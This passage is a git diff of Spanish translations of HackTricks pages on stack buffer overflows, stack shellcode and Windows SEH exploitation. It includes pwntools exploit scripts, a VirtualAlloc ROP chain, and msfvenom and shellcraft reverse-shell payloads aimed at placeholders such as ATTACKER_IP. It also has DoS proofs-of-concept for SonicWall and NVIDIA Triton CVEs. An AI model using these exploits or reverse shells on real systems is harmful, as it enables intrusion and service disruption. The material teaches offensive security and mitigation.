código malicioso. Este problema suele surgir debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada. -El problema principal de esta sobrescritura es que el **saved instruction pointer (EIP/RIP)** y el **saved base pointer (EBP/RBP)** para regresar a la función anterior están **almacenados en la stack**. Por lo tanto, un atacante podrá sobrescribirlos y **controlar el flujo de ejecución del programa**. +El problema principal de este sobrescrito es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para volver a la función anterior están **almacenados en el stack**. Por lo tanto, un atacante podrá sobrescribirlos y **controlar el flujo de ejecución del programa**. -La vulnerabilidad suele aparecer porque una función **copia en la stack más bytes de los que tiene asignados**, pudiendo así sobrescribir otras partes de la stack. +La vulnerabilidad suele aparecer porque una función **copia dentro del stack más bytes de los que se le han asignado**, pudiendo así sobrescribir otras partes del stack. -Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read`** y **`memcpy`** que toman un **argumento de longitud**, podrían usarse de forma vulnerable si la longitud especificada es mayor que la asignada. +Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read`** & **`memcpy`** que toman un **argumento de longitud**, pueden usarse de forma vulnerable si la longitud especificada es mayor que la asignada. Por ejemplo, las siguientes funciones podrían ser vulnerables: ```c @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finding Stack Overflows offsets +### Encontrar offsets de Stack Overflows -La forma más común de encontrar Stack Overflows es dar una entrada muy grande de `A`s (e.g. `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indica que se intentó acceder a la **address `0x41414141`**. +La forma más común de encontrar stack overflows es dar una entrada muy grande de `A`s (p. ej. `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` indicando que **se intentó acceder a la dirección `0x41414141`**. -Además, una vez que confirmaste que hay una Stack Overflow vulnerability necesitarás encontrar el offset hasta que sea posible **overwrite the return address**, para esto suele usarse una **De Bruijn sequence.** La cual, para un alfabeto de tamaño _k_ y subsecuencias de longitud _n_, es una **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** como subsecuencia contigua. +Además, una vez que descubres que existe una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible **sobrescribir la return address**, para esto normalmente se usa una **De Bruijn sequence.** La cual, para un alfabeto de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada subsecuencia posible de longitud _n_ aparece exactamente una vez** como subsecuencia contigua. -De este modo, en lugar de necesitar averiguar a mano qué offset hace falta para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola. +De esta manera, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndolo. Es posible usar **pwntools** para esto: ```python @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Explotando Stack Overflows -Durante un overflow (suponiendo que el tamaño del overflow sea lo bastante grande) podrás **sobrescribir** valores de variables locales dentro del stack hasta alcanzar el **EBP/RBP and EIP/RIP (or even more)**.\ -La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** de modo que cuando la función termine el **flujo de control se redirigirá hacia donde el usuario especificó** en ese puntero. +During an overflow (supposing the overflow size if big enough) you will be able to **sobrescribir** valores de variables locales dentro del stack hasta alcanzar los guardados **EBP/RBP y EIP/RIP (o incluso más)**.\ +La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine el **control flow sea redirigido a donde el usuario haya especificado** en ese puntero. -Sin embargo, en otros escenarios quizá con solo **sobrescribir algunos valores de variables en el stack** sea suficiente para la explotación (como en CTFs sencillos). +Sin embargo, en otros escenarios quizá solo **sobrescribir los valores de algunas variables en el stack** sea suficiente para la explotación (como en retos CTF sencillos). ### Ret2win -En este tipo de retos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas invocar para ganar**. Para estos retos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **la dirección de la función** a llamar (usualmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estará deshabilitado) de modo que cuando la función vulnerable retorne, se llame a la función oculta: +En este tipo de retos CTF, existe una **función** **dentro** del binario que **nunca se llama** y que **necesitas invocar para ganar**. Para estos retos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (usualmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable retorne, la función oculta sea llamada: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -En este escenario el atacante puede colocar un shellcode en el stack y aprovechar el EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario: +En este escenario el atacante puede colocar un shellcode en el stack y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -En Windows de 32 bits, un overflow puede sobrescribir la cadena del Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH con un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivotea de vuelta al gran buffer donde vive el shellcode. Un patrón común es un short jmp en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload. +En Windows de 32 bits, un overflow puede sobrescribir la cadena de Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH por un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivota de vuelta al gran buffer donde vive el shellcode. Un patrón común es un jmp corto en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Esta técnica es el marco fundamental para eludir la principal protección frente a la técnica anterior: **No executable stack (NX)**. Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que acabarán ejecutando comandos arbitrarios aprovechando instrucciones existentes en el binario: +Esta técnica es la base para bypassear la principal protección a la técnica anterior: **No executable stack (NX)**. Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario: {{#ref}} @@ -93,16 +93,16 @@ Esta técnica es el marco fundamental para eludir la principal protección frent ## Heap Overflows -Un overflow no siempre estará en el stack; también podría estar en el **heap**, por ejemplo: +Un overflow no siempre ocurrirá en el stack, también podría estar en el **heap**, por ejemplo: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Tipos de protecciones +## Types of protections -Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades; revísalas en: +Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, revísalas en: {{#ref}} @@ -111,7 +111,7 @@ Existen varias protecciones que intentan prevenir la explotación de vulnerabili ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Una buena demostración de por qué **`sscanf` nunca debe usarse para analizar entrada no confiable** apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall. +Una buena demostración de por qué **`sscanf` nunca debería ser confiable para parsear entrada no confiable** apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall. La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el endpoint de cualquier URI que comience con `/__api__/`: ```c char version[3]; @@ -120,25 +120,25 @@ char endpoint[0x800] = {0}; sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. La primera conversión (`%2s`) almacena de forma segura **dos** bytes en `version` (p. ej. `"v1"`). -2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer NUL byte**. -3. Debido a que `endpoint` está ubicado en la **stack** y tiene **0x800 bytes de longitud**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que sigue después del buffer ‑ incluyendo el **stack canary** y la **saved return address**. +2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer byte NUL**. +3. Porque `endpoint` está ubicado en la **stack** y es **0x800 bytes de longitud**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que esté después del buffer ‑ incluyendo el **stack canary** y la **saved return address**. -Una prueba de concepto de una sola línea es suficiente para provocar el crash **antes de la autenticación**: +Una proof-of-concept de una sola línea es suficiente para provocar el crash **antes de la autenticación**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Aunque stack canaries abortan el proceso, un atacante aún obtiene un primitivo de **Denial-of-Service** (y, con leaks de información adicionales, posiblemente code-execution). La lección es simple: +Aunque los stack canaries abortan el proceso, un atacante aún obtiene una primitiva de **Denial-of-Service** (y, con leaks adicionales de información, posiblemente ejecución de código). La lección es simple: -* Siempre proporcione un **ancho máximo de campo** (p. ej. `%511s`). +* Proporcione siempre un **ancho máximo de campo** (p. ej. `%511s`). * Prefiera alternativas más seguras como `snprintf`/`strncpy_s`. ### Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples **stack-based overflows** accesibles a través de su HTTP API. -El patrón vulnerable apareció repetidamente en `http_server.cc` y `sagemaker_server.cc`: +El Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples **stack-based overflows** accesibles a través de su HTTP API. +El patrón vulnerable aparecía repetidamente en `http_server.cc` y `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la petición HTTP actual. -2. Cada segmento provoca que se asigne un `evbuffer_iovec` de **16 bytes** en la **stack** vía `alloca()` – **sin ningún límite superior**. -3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la petición se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límite hasta que la stack se agote. +1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la solicitud HTTP actual. +2. Cada segmento provoca que se asigne un `evbuffer_iovec` de **16-byte** en la **stack** mediante `alloca()` – **sin ningún límite superior**. +3. Abusando de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la solicitud se divida en **cientos de miles de fragmentos de 6-byte** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límite hasta que la stack se agote. #### Prueba de concepto (DoS) ```python @@ -176,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en un build por defecto. +Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **hacer que el daemon se bloquee** en una compilación por defecto. -#### Parche & Mitigación -La versión 25.07 reemplaza la asignación insegura en la pila por un **heap-backed `std::vector`** y gestiona `std::bad_alloc` correctamente: +#### Parche y mitigación +La versión 25.07 reemplaza la asignación insegura en la pila por un **`std::vector` respaldado en heap** y maneja correctamente `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -191,8 +191,8 @@ struct evbuffer_iovec *v = v_vec.data(); ``` Lecciones aprendidas: * Nunca llames a `alloca()` con tamaños controlados por el atacante. -* Las Chunked requests pueden cambiar drásticamente la forma de los buffers del lado del servidor. -* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en las asignaciones de memoria. +* Las solicitudes chunked pueden cambiar drásticamente la forma de los buffers del lado del servidor. +* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en asignaciones de memoria. ## Referencias * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 7abd22c77..d00141134 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Información básica -**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en el stack de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluido un ejemplo sencillo en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. +**Stack shellcode** es una técnica usada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o el **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de ese shellcode, provocando su ejecución. Es un método clásico usado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**. -### Ejemplo en C: Un programa vulnerable +### Ejemplo en C: un programa vulnerable -Comencemos con un ejemplo sencillo de un programa en C vulnerable: +Comencemos con un ejemplo simple de un programa en C vulnerable: ```c #include #include @@ -28,14 +28,14 @@ Este programa es vulnerable a un buffer overflow debido al uso de la función `g ### Compilación -Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando: +Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puede usar el siguiente comando: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Desactiva la protección de la pila. -- `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila. -- `-no-pie`: Desactiva Position Independent Executable (PIE), lo que facilita predecir la dirección de memoria donde estará ubicado nuestro shellcode. -- `-m32`: Compila el programa como ejecutable de 32 bits, a menudo usado por simplicidad en el desarrollo de exploits. +- `-z execstack`: Hace la pila ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila. +- `-no-pie`: Desactiva Position Independent Executable (PIE), facilitando predecir la dirección de memoria donde se ubicará nuestro shellcode. +- `-m32`: Compila el programa como ejecutable de 32 bits, frecuentemente usado por simplicidad en el desarrollo de exploits. ### Exploit en Python usando Pwntools @@ -68,26 +68,26 @@ p.interactive() ``` Este script construye un payload consistente en una **NOP slide**, el **shellcode**, y luego sobrescribe la **EIP** con la dirección que apunta a la NOP slide, asegurando que el shellcode se ejecute. -La **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento de `p32()` a la dirección inicial de tu buffer más un offset para aterrizar en la NOP slide. +El **NOP slide** (`asm('nop')`) se usa para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un offset para caer en la NOP slide. ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -En Windows modernos la stack no es ejecutable (DEP/NX). Una forma común de aún ejecutar shellcode residente en la stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde la Import Address Table (IAT) del módulo para hacer que una región de la stack sea ejecutable y luego retornar al shellcode colocado después de la cadena. +En Windows modernos el stack no es ejecutable (DEP/NX). Una forma común de seguir ejecutando shellcode residente en el stack después de un stack BOF es construir una cadena ROP de 64 bits que llame a VirtualAlloc (o VirtualProtect) desde el módulo Import Address Table (IAT) para convertir una región del stack en ejecutable y luego retornar hacia el shellcode situado inmediatamente después de la cadena. -Puntos clave (Win64 calling convention): +Puntos clave (convención de llamadas Win64): - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) -- RCX = lpAddress → elige una dirección en la stack actual (p.ej., RSP) para que la región RWX recién asignada solape tu payload -- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p.ej., 0x1000) +- RCX = lpAddress → elige una dirección en el stack actual (p. ej., RSP) de modo que la región RWX recién asignada se solape con tu payload +- RDX = dwSize → lo suficientemente grande para tu chain + shellcode (p. ej., 0x1000) - R8 = flAllocationType = MEM_COMMIT (0x1000) - R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) - Return directly into the shellcode placed right after the chain. Estrategia mínima: -1) Leak a module base (p.ej., via a format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR. -2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no dispones de pop r8/r9 directo, usa gadgets aritméticos para sintetizar constantes (p.ej., establece r8=0 y suma repetidamente r9=0x40 cuarenta veces para alcanzar 0x1000). -3) Coloca el stage-2 shellcode inmediatamente después de la chain. +1) Leak la base de un módulo (p. ej., vía format-string, object pointer, etc.) para calcular las direcciones absolutas de gadgets e IAT bajo ASLR. +2) Encuentra gadgets para cargar RCX/RDX/R8/R9 (secuencias basadas en pop o mov/xor) y un call/jmp [VirtualAlloc@IAT]. Si no cuentas con pop r8/r9 directos, usa gadgets aritméticos para sintetizar constantes (p. ej., poner r8=0 y sumar repetidamente r9=0x40 cuarenta veces para llegar a 0x1000). +3) Coloca el stage-2 shellcode inmediatamente después de la cadena. -Ejemplo de disposición (conceptual): +Example layout (conceptual): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Con un conjunto de gadgets limitado, puedes crear valores de registros de forma indirecta, por ejemplo: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → coloca r9 con el valor de rbx, pone a 0 r8 y compensa la pila con un qword basura. -- xor rbx, rsp; ret → inicializa rbx con el puntero de pila actual. -- push rbx; pop rax; mov rcx, rax; ret → mueve el valor derivado de RSP a RCX. +Con un conjunto de gadgets limitado, puedes construir valores de registros de forma indirecta, por ejemplo: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → establecer r9 desde rbx, poner a cero r8 y compensar la pila con un qword basura. +- xor rbx, rsp; ret → inicializar rbx con el puntero de pila actual. +- push rbx; pop rax; mov rcx, rax; ret → mover el valor derivado de RSP a RCX. -Ejemplo de Pwntools (dada una base conocida y gadgets): +Esbozo de Pwntools (dada una base conocida y gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -133,24 +133,24 @@ rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` Consejos: -- VirtualProtect funciona de manera similar si es preferible convertir un buffer existente a RX; el orden de los parámetros es diferente. -- Si el espacio en stack es limitado, asigna RWX en otro lugar (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack. -- Siempre ten en cuenta los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords de relleno. +- VirtualProtect funciona de forma similar si es preferible convertir un buffer existente a RX; el orden de parámetros es diferente. +- Si el espacio en la stack es limitado, asigna RWX en otra parte (RCX=NULL) y jmp a esa nueva región en lugar de reutilizar la stack. +- Ten en cuenta siempre los gadgets que ajustan RSP (p. ej., add rsp, 8; ret) insertando qwords basura. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debe estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde la función será almacenada no será siempre la misma y necesitarías algún leak para saber dónde está cargada la win function. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deben estar deshabilitadas o la dirección de retorno EIP comprometida nunca será seguida. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protección **stack** impediría la ejecución del shellcode dentro de la stack porque esa región no será ejecutable. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **debería estar deshabilitado** para que la dirección sea fiable entre ejecuciones o la dirección donde se almacenará la función no será siempre la misma y necesitarías algún leak para averiguar dónde se carga la función win. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection impediría la ejecución del shellcode dentro de la stack porque esa región no sería ejecutable. -## Otros ejemplos y referencias +## Otros Ejemplos y Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR con stack address leak, escribir shellcode y saltar a él +- 64bit, ASLR con leak de dirección de la stack, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR con stack leak, escribir shellcode y saltar a él +- 32 bit, ASLR con leak de la stack, escribir shellcode y saltar a él - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR con stack leak, comparación para evitar la llamada a exit(), sobrescribir una variable con un valor y escribir shellcode y saltar a él +- 32 bit, ASLR con leak de la stack, comparación para prevenir llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - arm64, sin ASLR, gadget ROP para hacer la stack ejecutable y saltar al shellcode en la stack diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 7a3b4cba1..77d81b8f2 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -La explotación basada en SEH es una técnica clásica de Windows x86 que abusa de la cadena Structured Exception Handler almacenada en la pila. Cuando un desbordamiento de búfer en la pila sobrescribe los dos campos de 4 bytes +SEH-based exploitation es una técnica clásica de Windows x86 que abusa del Structured Exception Handler chain almacenado en la pila. Cuando un overflow de buffer en la pila sobrescribe los dos campos de 4 bytes - nSEH: pointer to the next SEH record, and - SEH: pointer to the exception handler function un atacante puede tomar el control de la ejecución mediante: -1) Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despacha una excepción el gadget retorne hacia bytes controlados por el atacante, y -2) Usar nSEH para redirigir la ejecución (típicamente un short jump) de vuelta al gran buffer desbordado donde reside el shellcode. +1) Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despache una excepción el gadget haga return hacia bytes controlados por el atacante, y +2) Usar nSEH para redirigir la ejecución (típicamente un salto corto) de vuelta al gran buffer desbordado donde reside el shellcode. -Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, preferir un módulo sin SafeSEH y sin ASLR para el gadget. Bad characters suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP. +Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, prefiera un módulo sin SafeSEH y ASLR para el gadget. Los caracteres problemáticos suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP. --- -## Encontrar offsets exactos (nSEH / SEH) +## Finding exact offsets (nSEH / SEH) -- Provoca un crash en el proceso y verifica que la cadena SEH ha sido sobrescrita (p. ej., en x32dbg/x64dbg, revisa la vista SEH). -- Envía un patrón cíclico como los datos desbordantes y calcula los offsets de los dos dwords que caen en nSEH y SEH. +- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view). +- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH. -Ejemplo con peda/GEF/pwntools en un cuerpo POST de 1000 bytes: +Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 @@ -37,9 +37,9 @@ Valida colocando marcadores en esas posiciones (p. ej., nSEH=b"BB", SEH=b"CC"). --- -## Elección de un POP POP RET (SEH gadget) +## Elegir un POP POP RET (SEH gadget) -Necesitas una secuencia POP POP RET para desenrollar el frame SEH y regresar a tus bytes nSEH. Búscala en un módulo sin SafeSEH y, preferiblemente, sin ASLR: +Necesitas una secuencia POP POP RET para desempilar el frame SEH y regresar a tus bytes nSEH. Búscalo en un módulo sin SafeSEH y, idealmente, sin ASLR: - Mona (Immunity/WinDbg): `!mona modules` luego `!mona seh -m modulename`. - x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar POP POP RET gadgets y el estado de SafeSEH. @@ -50,7 +50,7 @@ Elige una dirección que no contenga badchars cuando se escriba en little-endian ## Técnica de salto hacia atrás (short + near jmp) -nSEH solo tiene 4 bytes, lo que admite como mucho un short jump de 2 bytes (`EB xx`) más padding. Si debes saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadena hacia él con un short jump desde nSEH. +nSEH solo tiene 4 bytes, lo que admite como máximo un short jump de 2 bytes (`EB xx`) más relleno. Si necesitas saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadénalo hacia él con un short jump desde nSEH. Con nasmshell: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Idea de diseño para un payload de 1000 bytes con nSEH en el offset 660: +Idea de diseño para un payload de 1000 bytes con nSEH en offset 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -73,29 +73,29 @@ payload += b"D" * (buffer_length - len(payload)) ``` Flujo de ejecución: - Ocurre una excepción, el dispatcher usa el SEH sobrescrito. -- POP POP RET desempila hacia nuestro nSEH. +- POP POP RET desenrolla hacia nuestro nSEH. - nSEH ejecuta `jmp short -8` hacia el near jump de 5 bytes. -- El near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode. +- El Near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode. --- ## Caracteres malos -Construye una cadena completa de badchar y compara la memoria del stack después del crash, eliminando bytes que sean alterados por el parser objetivo. Para HTTP-based overflows, `\x00\x0a\x0d` casi siempre están excluidos. +Construye una cadena completa de badchars y compara la memoria de la pila después del crash, eliminando los bytes que son corrompidos por el parser objetivo. Para overflows basados en HTTP, `\x00\x0a\x0d` casi siempre están excluidos. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Shellcode generation (x86) +## Generación de shellcode (x86) -Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar variaciones en el punto de aterrizaje. +Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar la variación del punto de aterrizaje. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Si se genera sobre la marcha, el formato hex es conveniente para incrustarlo y decodificarlo en Python: +Si se genera sobre la marcha, el formato hex es conveniente para embed y unhex en Python: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex @@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LP ## Entrega vía HTTP (CRLF preciso + Content-Length) -Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una raw request con CRLFs exactos y Content-Length correcto para que el servidor lea todo el cuerpo que desborda. +Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una petición raw con CRLFs exactos y Content-Length para que el servidor lea todo el cuerpo que desborda. ```python # pip install pwntools from pwn import remote @@ -127,21 +127,21 @@ p.close() ## Herramientas -- x32dbg/x64dbg para observar la cadena SEH y analizar el crash. -- ERC.Xdbg (x64dbg plugin) para enumerar gadgets SEH: `ERC --SEH`. +- x32dbg/x64dbg para observar la cadena SEH y triagear el crash. +- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: `ERC --SEH`. - Mona como alternativa: `!mona modules`, `!mona seh`. -- nasmshell para ensamblar saltos cortos/near y copiar raw opcodes. +- nasmshell para ensamblar short/near jumps y copiar raw opcodes. - pwntools para crear payloads de red precisos. --- ## Notas y advertencias -- Aplica solo a procesos x86. x64 usa un esquema diferente de SEH y la explotación basada en SEH generalmente no es viable. +- Solo aplica a procesos x86. x64 usa un esquema de SEH diferente y la explotación basada en SEH generalmente no es viable. - Preferir gadgets en módulos sin SafeSEH y ASLR; de lo contrario, encontrar un módulo no protegido cargado en el proceso. -- Los watchdogs de servicio que reinician automáticamente tras un crash pueden facilitar 